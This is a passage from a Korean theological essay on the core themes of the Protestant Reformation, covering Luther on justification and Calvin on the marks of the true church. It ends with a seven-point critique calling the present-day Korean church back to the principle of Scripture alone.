교회는 말씀의 법도와 규례에 철저히 순종해야 한다. 개혁자들은 교황, 공의회, 신학자들의 권위는 모두 성경의 권위에 종속된다고 주장했다. 이 말은 그들이 아무런 권위도 없다는 것을 의미하지 않는다. 개혁자들은 다만 그들의 권위가 성경에서 도출된 것이며 성경에 종속된다는 것이다. 개혁자들은 교회내의 권위도 직분자의 직위에서가 아니라, 이들이 섬기는 하나님의 말씀에서 도출된다고 보았다.(주교, 목사) 로마교는 전통적으로 직분자의 권위가 직위 그 자체에서 온다고 보았다. 주교의 권위는 그가 주교라는 사실 자체에 있다는 것이다. 주교라는 직분을 사도시대와 연결하여 역사적 연속성을 주장했다. 그러나 개혁자들은 주교의 권위는 하나님의 말씀에 대한 이들의 신실성에 정초시켰다. 교회의 권위는 진정으로 성경의 권위에 따른다. 이것이 오직 성경 만으로의 슬로건이다.교회 내에서의 권위는 직분자의 직위에서 오는 것이 아니라, 말씀으로부터 나온다고 강조한다. 전통적인 로마교회에서, 주교의 권위는 그가 주교라는 사실 그 자체에 있다고 강조했지만, 개혁자들은 주교나 그에 상응하는 개신교의 직분들의 권위를 하나님의 말씀에 대한 이들의 신실성(faithfulness)에 있다고 정초시킨 것이다.
7. 종교개혁의 핵심주제
16세기의 종교개혁에서 우리가 다뤄야 할 가장 중요한 주제는 교리적인 것으로 간주되어왔고, 그것은 칭의의 구원론과 성화의 교회론이라 말할 수 있다. 압축해서 말한다면 전자는 마르틴 루터(Martin Luther)와 관련된 주제이고, 후자는 존 칼빈(John Calvin)과 관련된 주제이다. 전자에 의해 로마교회와는 별도로 개신교회가 갈라져 나왔고, 후자에 의해 종교개혁의 개신교회는 신학적이고 역사적이며 제도적으로 정당화를 얻기에 이른다.
(1) 루터의 십자가신학의 재발견
마르틴 루터는 16세기의 종교개혁에서 가장 중요한 인물 중 하나로 여겨진다. 그는 신학적으로 토미즘(Thomism)의 전통을 거부하는 분위기 가운데 생겨난 새로운 길을 걷는 학파(via moderna)가 지배하는 에르푸르트(Erfurt)대학에서 교육받았다. 탑체험(Turmerlebnis, 1505년) 이후 어거스틴수도회에 들어가 신학수업을 쌓고, 1508년 새로 설립된 비텐베르그(Wittenberg)대학에 초빙되어 성경을 가르치게 된다. 1514년 이후 그는 하나님의 의(iustitia Dei)에 대한 신학적 개념과 씨름하기 시작하는데, 그의 주된 관심은 “어떻게 죄인이 하나님의 의를 발견할 수 있는가?”였다. 중세후기를 지배해온 로마교회의 칭의교리와 같이 인간의 본질 안에 이미 주입된(imputed) 하나님의 의가 있다는 설명은 그에게 만족을 주지 못했고, 점차로 어거스틴의 칭의에 대한 가르침으로 기울였다. 그 결과 1515년 어느 시점에서, “내가 어떻게 은혜로우신 하나님을 발견할 수 있는가?”로부터, 그는 하나님께서 죄인이 의로움을 얻을 수 있도록 직접 도와주신다는 사실을 깨닫게 된다. 죄인은 오직 이 사실을 믿음으로 받아들이면 된다는 차원에서 수동적이며, “믿음을 통해 은혜에 의해 이루어지는 칭의”(Justification by Grace through faith)라는 분명한 성경의 구원등식을 회복한 것이다. 이는 사실상 어거스틴의 통찰에 대한 재발견, 또는 회복인 셈이다.
중세후기의 구원관은 인간의 성한 행위의 결과로 얻어진다는 신념이 널리 퍼져 있었다. 구원의 죄용서의 문제에 있어 중세후기의 애매한 입장은 면죄부(Indulgence)를 정당화하는 미신적인 신학으로 발전되는 중이었다. 중세후기 유럽의 많은 교회나 기관들은 이러한 믿음의 그릇된 관습을 통해 권력과 수입을 유지하고 있었으며, 16세기 초에는 면죄부가 교황의 수입의 주요 원천이 되기까지 했다. 원래 면죄부란 죄용서에 대한 감사의 표현으로 자선하는 기부금이었던 것으로 보인다. 그러나 제정위기에 처한 교황청이 이를 이용하여 주된 수입원천으로 변형시켜버린 것이다. 한걸음 더 나아가 교회는 고해성사와 죽은 자를 위한 미사를 조장함으로써 칭의의 구원론에 대해 신학적으로 애매한 입장을 취했을 뿐 아니라, 성직자들은 점점 더 부패의 늪으로 빨려 들어가는 중이었다. 여기서 우리는 루터가 95개조항의 논제를 게시했던 사건이 가히 혁명적인 신학의 출현을 알리는 내용이었을지는 몰라도, 그것은 소리 없는 메시지였을 뿐이었다는 사실에 유의해야 한다. 이것은 면죄부선전에 대한 직접적인 항의도 아니고 교회가 죄용서에 대한 분명한 입장을 밝혀야 한다는 요구도 아니었지만, 이로써 교황과 많은 성직자들, 일부의 군주들과 은행가들의 기득권은 그 본질이 위협받게 되었다. 루터의 십자가신학으로 알려진 이신칭의의 새로운 이해의 중요성은 그 견해가 이제까지의 교회의 가르침과 완전한 결별을 확인한다는데 있다. 그러나 루터의 칭의의 구원론이 개인적으로 구원 얻는 방법에 대한 신학적이고 교리적인 원리로서 개인적인 신자를 향한 것이라고 말할 수 있다. 루터의 개인의 구원에 대한 성찰은 르네상스와 함께 일어난 개인주의의 발흥을 반영한 것이기도 하다는 점에서 그렇다.
(2) 칼빈의 공동체신학의 수립
“종교개혁은 어거스틴의 교회론에 대한 어거스틴의 구원론의 궁극적 승리였다.”(B. B. Warfield)고 한다. 어거스틴에 대한 새로운 관심으로 그의 은총론이 기독교복음의 핵심이라고 여겼던 루터의 확신은 로마교회가 기독교회로서의 권리를 완전히 상실했다고 결론 내렸다. 왜냐하면 그는 이신칭의의 교리야말로 교회의 흥망을 좌우하는 주제(articulus stantis et cadentis acclesiae)로 보았기 때문이다. 그러나 로마교회는 이런 루터를 조롱하며, 루터는 교회와 아무런 관련을 갖지 못한 분파를 만들었을 뿐이라고 정죄했다. 사실 어거스틴은 교회를 분리하는 도나투스일당을 정죄한 적이 있었다. 루터는 교회를 분리시켰는데, 오래전 어거스틴은 교회의 일치를 강조했었다. 루터는 어거스틴의 교회론을 배척함으로써만 어거스틴의 구원론을 주장할 수 있었던 것으로 보였지만, 스스로 얼마나 분파에 대해 심각한 두려움을 느꼈었는지 모른다. 여기서 루터가 선택한 개혁의 프로그램은 내부로부터의 개혁이었다. 그는 적어도 1520-41년 사이에 로마교회가 스스로를 진정으로 개혁할 것이라는 믿음을 가지고 있었다. 아마도 곧 로마교회가 개혁적인 공의회를 소집하여 보다 갱신되고 개혁된 교회에 자신도 참여할 수 있을 것이라는 소박한 꿈을 가지고 있었다. 그 증거로 아우구스부르크의 신앙고백(1530년)만 해도 로마교회에 대해 눈에 띨 정도로 화해적이다. 그러나 1540년대에 이르러 이러한 희망은 완전히 사라져버렸다. 마침내 로마교회는 트렌트종교회의를 소집하여 1545년 종교개혁에 대한 자기네들의 최종적인 입장을 정리했는데, 화해의 어떤 희망도 좌절될만한 내용으로 루터를 비롯한 개신교일당에 대해 정죄를 선언하고 말았다. 종교개혁을 주장한 개혁가들은 그들의 교회가 이제 한시적이 아니라 영구적이라는 냉정한 현실을 인정해야 했고, 이제 자신들의 존재를 기독교회로서 정당화해야 했다.
이미 살펴본 대로 루터는 “어떻게 내가 은혜스러운 하나님을 발견할 수 있는가?”하는 문제에 관심을 가지고 있었다면, 이제 다음세대의 종교개혁자들은 “어디에서 내가 참된 교회를 발견할 수 있는가?”하는 문제와 씨름해야 했고, 그 대표적인 인물이 존 칼빈이었다. 2세대 종교개혁자로 분류되는 칼빈은 프랑스 리용대학에서 법학을 공부한 후, 파리대학에서 신학을 공부하던 중 복음적인 개혁신앙에 눈을 뜨게 된다. 20대 중반에 이미 기독교강요초판(1536년)을 써서 그 명성을 유럽에 널리 떨치게 된 그가 제네바를 발판으로 참된 교회에 대한 신학적이고 제도적이며 역사적인 실체를 탐구하고 추구한 동기는 그를 도망자신세로 만든 파리대학총장의 취임연설문 사건(1536년 여름) 때문이었다. 이후 제네바에서 잠시 떠나있던 1538-41년 사이에 스트라스부르그에서의 목회경험을 토대로 그는 전체 신학과 목회적 과정을 제네바교회(사회)를 하나님의 진정한 교회로 확립하는데 헌신하는 것으로 일관했다. 그는 참된 교회의 표지(nota)는 하나님의 말씀이 선포되는 것과 성례가 바르게 시행되는 것이라고 보았다. 칼빈은 로마교회는 최소한의 이 기준에 맞지 않기 때문에 교회로 인정할 수 없으며, 개혁자들의 새로운 교회는 정당하다고 했다. 칼빈이 주장한 교회의 두 가지 표지는 매우 중요한 기준이 되었다. 왜냐하면 참된 교회는 이제 말씀이 바르게 선포되어지며 성례가 시행되는 곳에서 찾을 수 있기 때문이다. 루터가 교회를 역사적 연속성의 문제로 고심한 반면, 칼빈은 교회를 성경에 근거하여 내용적인 해석의 결과로 얻어낸 신학적 연속성의 문제로 루터의 문제를 극복했다. 칼빈은 스트라스부르그에서 다시 제네바로 돌아오던 1541년 교회의 직제와 당회의 제도를 조건부로 내세워 제네바시의회에 승낙을 얻는다. 그는 Ordonnances(1541년)를 통해 교회의 새로운 조직을 주장했는데, 이 중 가장 중요한 내용이 바로 당회(Consistoir)제도였다. 칼빈은 교회의 표지를 구체적으로 유지하고 감독할 제도로서 교회조직(church government)의 특별한 형태를 만들고자 했던 것이다. 이점에서 칼빈의 제네바교회를 장로교회의 기원으로 말하는 것은 잘못된 표현임을 알아야 한다. 원래 장로교회는 스코틀란드의 존 낙스(John Knox)가 제도화한 교회이다. 사람들이 칼빈이 당회를 만든 것에 착안해 당회의 구성원이 장로라는 점에서 장로교회의 기원으로 오해한 것이다. 칼빈은 교회의 직제에 대해서도 새로운 목회적 조직의 형태로 제시한다. 교회의 모든 직제에 대해서도 하나님께서 제정하신 바, 성경에 목사, 장로, 집사, 일반성도 등으로 구별되어 나타난다고 한다. 모든 직분은 서로 유기적인 조직을 이룬다. 이렇게 함으로써, 종교개혁의 결과로 초래된 새로운 교회의 존립과 제도적 확립은 사실 칼빈에 의해 신속하게 마무리되었고, 그가 살아있던 생전에 로마교회와 견주어 라이벌로 부상할 만큼 아주 강력한 교회로 제도화하는데 성공했다.
7. 한국교회의 현실과 종교개혁 정신의 계승
한국교회는 16세기 종교개혁을 막연하게 인정해왔다. 종교개혁은 개신교의 뿌리로서 피할 수 없는 조상이었던 것이다. 그러나 한국교회의 종교개혁에 대한 뿌리 찾기는 근본적으로는 실패한 듯 보인다. 한국교회가 겉으로는 종교개혁의 자랑스러운 후예라고 말하지만, 사실상 루터파와 개혁파조차도 구분 짓지 못하는 것이 현실이다. 장로교회의 기원이 종교개혁시대의 제네바에서 왔다고 하지만, 제네바와 스코틀란드를 구분하지 못한다.
최근 들어서는 그나마도 개혁이라는 말에 지레 겁을 먹는 모습이 16세기의 로마교회화 또는 1세기의 유대교화 된 한국교회의 모습을 보인다. 이점에서 한국교회가 진정 종교개혁의 정신을 계승하려 한다면, 현실적인 자기정체에 대한 분명한 반성이 필요하다고 본다. 120년 된 한국교회는 단순히 120년 된 기독교를 가지기보다, 개신교의 뿌리에서 시작된 교회로서 2000년 기독교회의 긴 역사적 복음을 가져야 하고 그것을 계승해야 할 것이기 때문이다. 따라서 이런 문제의식을 가지고 이제까지 살펴본 종교개혁의 정신에 비춰, 한국교회 역시 중세후기 로마교회의 상황처럼 여전히 종교개혁이 요구되는 현실임을 다음과 같은 몇 가지 지적을 통해 일깨우고자 한다.
첫째, 한국교회는 철저하게 개 교회 중심으로 성장해왔다. 개별적으로 성장한 대형교회를 중심으로 보이는 모습은 마치 중세를 연상시킨다. 목회자는 작은 교황과 같이 군림하며 예배를 인도하고 지역을 관할하는 는 이 그림은 새로운 돌파구를 찾기 위해 울부짖는 맹수의 포효함과도 같다.
둘째, 한국교회는 지나치게 물질적이고 양적인 대중주의신앙에 사로잡혀있다. 그 뿌리는 1974년 김준곤목사 주도의 엑스폴로74‘에서부터 본격적으로 시작되었다고 본다. 물량주의적 과시는 예배당건축에서부터 전도와 선교에 물들어 있다. 불행히도 이런 물량주의적 대중주의는 미신적 기복신앙을 만들 수밖에 없다.
셋째, 한국교회는 이념적으로 지나치게 취약하다. 해방과 한국전쟁과 군사독재를 지나면서 좌로나 우로나 치우치는 경향이 너무 짙다. 결과적으로 좌우의 이념적 편향성이 심할 뿐 아니라, 교회가 좌우대립의 정치적 희생의 대상이 될 때가 많다. 또한 이념적 편향성은 성경의 편향적 왜곡을 심화시켜왔다. 보수주의는 늘 복음서나 사도행전 위주로 설교하고, 자유주의는 출애굽기와 아모스 중심의 예언서설교를 하는 것이 그 실례다.
넷째, 한국교회는 세대교체의 과정에서 세습이라는 오점을 남겼다. 재벌그룹의 세습처럼 교회를 재산이나 왕권으로 이해하는 지극히 전근대적인 사고에 기인한 세습은 그 어떤 이유로도 정당화할 수 없다.
다섯째, 한국교회의 목회자들은 대체로 기독교복음과 신학에 있어 그 깊이가 약하다. 기독교회와 신앙의 역사적이고 성경적인 전수를 책임져야 하는 목회자들이 교육받는 신학교에서부터 시작된다. 결과적으로 그릇된 헌신이 복음의 이해에 앞선다. 얼마나 많은 목회자들이 복음에 헌신된 것보다 교단에 더 헌신되어 있는가.
여섯째, 한국교회는 지나치게 민주적이지 못하다. 목회자의 독재와 그에 대한 반작용으로 장로중심의 지나친 권력투쟁이 교회를 붕괴시키고 있다. 이점에서 교회정치제도를 근본적으로 개혁해야 할 것이다. 가령, 당회의 구성원을 장로만이 아닌 모든 성도들의 대의기구로 전환할 것이 모색되어야 할 것이다.
끝으로, 한국교회의 일반성도들 역시 지나치게 수동적이다. 일반성도들이 보다 균형 있는 성경의 이해가 요구될 뿐 아니라, 수동적인 신앙태도를 극복해야 할 것이다. 또한 일반성도의 지나친 대중주의성향과 파벌형성의식과 목회적 간섭도 배재되어야할 문제임이 분명하다. 목회자도 말씀으로 돌아가야 하듯이 일반성도들도 말씀으로 돌아가 거기서 함께 만나야 한다.
어떤 점에서 한국교회는 이미 다시 돌아올 수 없는 상황에 직면되었는지도 모른다. 비극은 이미 상연되었고, 거기에 당신들은 등장인물이다. 자, 어떻게 할 것인가? 한국교회가 종교개혁의 정신을 계승하기 위해 취해야 할 가장 중요한 태도를 든다면, 그것은 결국 종교개혁의 중심모토 <오직 성경으로!>로 다시 돌아가야 할 것이다. 시대와 상황을 초월하여 성경만이 기독교회와 신앙의 모든 삶의 원리를 제공하기 때문이다.
<참고문헌>
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